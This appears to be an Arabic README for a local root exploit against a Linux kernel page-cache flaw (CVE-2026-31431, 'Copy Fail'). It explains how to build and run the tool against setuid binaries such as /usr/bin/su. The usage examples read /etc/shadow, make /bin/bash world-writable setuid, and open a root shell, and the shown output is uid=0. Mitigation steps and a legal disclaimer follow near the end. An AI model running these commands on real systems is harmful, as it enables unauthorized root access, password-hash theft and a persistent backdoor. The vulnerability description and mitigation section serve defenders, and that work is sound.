CVE-2026-31431 Copy Fail Exploit

أداة استغلال ثغرة تلوث page cache في نواة Linux، تدعم تنفيذ الأوامر غير التفاعلي.

نظرة عامة على الثغرة

CVE-2026-31431 هي ثغرة عيب منطقي في نواة Linux، موجودة في تنفيذ خوارزمية AEAD authencesn. من خلال سلسلة استدعاءات النظام AF_ALG و splice()، يمكن للمهاجم كتابة 4 بايتات إلى page cache لأي ملف قابل للقراءة.

النطاق المتأثر:

• نواة Linux 4.14+ (2017 - أبريل 2026)
• جميع التوزيعات الرئيسية تقريبًا: Ubuntu و Debian و CentOS و RHEL و Amazon Linux وغيرها

خصائص الثغرة:

• موثوقة 100%، بدون الحاجة إلى شروط سباق (race conditions)
• لا تتطلب حساب إزاحات النواة
• نفس الملف الثنائي يعمل على جميع التوزيعات
• لا تعدّل ملفات القرص، فقط تلوث ذاكرة التخزين المؤقت

وصف الملفات

.
├── copyfail_universal.c    # الكود المصدري الرئيسي للـ POC (تجميع ثابت، بدون اعتماد على libc)
├── copyfail_universal      # الملف الثنائي بعد التجميع
├── run_cmd.sh              # سكربت wrapper للتنفيذ غير التفاعلي
├── Makefile                # سكربت التجميع
└── README.md               # هذا المستند

التجميع

# الطريقة 1: استخدام gcc و ld
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal

# الطريقة 2: استخدام Makefile
make

طريقة الاستخدام

Root Shell تفاعلي

./copyfail_universal

تنفيذ أوامر غير تفاعلي

# الطريقة 1: استخدام سكربت wrapper (موصى به)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"

# الطريقة 2: عبر الأنابيب
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal

# الطريقة 3: استخدام متغيرات البيئة
CMD='whoami' ./copyfail_universal

تحديد هدف setuid آخر

# الهدف الافتراضي هو /usr/bin/su
# يمكن تحديد هدف آخر بتعديل متغير path في الكود المصدري

# الأهداف الشائعة المتاحة:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec

الاستعادة التلقائية

الثغرة تعدّل page cache فقط، ولا تعدّل ملفات القرص. يمكن الاستعادة بتنفيذ الأمر التالي:

sync; echo 3 > /proc/sys/vm/drop_caches

سكربت run_cmd.sh يتضمن وظيفة الاستعادة التلقائية مدمجة.

مثال على المخرجات

$ ./run_cmd.sh "id"

[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...

uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)

برامج setuid المتأثرة

للعثور على جميع برامج setuid على النظام:

find / -perm -4000 -user root -type f 2>/dev/null

توصيات الإصلاح

1. تحديث النواة - الترقية إلى إصدار نواة يتضمن التصحيح a664bf3d603d

2. تخفيف مؤقت - تعطيل وحدة algif_aead:

   root@kitploit:~

   echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
   rmmod algif_aead 2>/dev/null || true
   

3. بيئات الحاويات - استخدام seccomp لمنع إنشاء sockets من نوع AF_ALG

التفاصيل التقنية

• نوع الثغرة: كتابة خارج الحدود في page cache
• السبب الجذري: authencesn يستخدم المخزن المؤقت الهدف كتخزين مؤقت، ويكتب 4 بايتات خارج الحدود
• طريقة الاستغلال: تمرير صفحات page cache إلى النظام الفرعي crypto عبر splice()
• قدرة الكتابة: يمكن كتابة 4 بايتات إلى page cache لأي ملف قابل للقراءة في كل عملية

إخلاء المسؤولية

هذه الأداة مخصصة للبحث الأمني والاختبار المصرح به فقط. استخدام هذه الأداة لمهاجمة أنظمة غير مصرح بها يعتبر مخالفًا للقانون. يتحمل المستخدم كامل المسؤولية القانونية.

المراجع

• CVE-2026-31431 Write-up
• Xint Blog - Copy Fail
• GitHub - POC الرسمي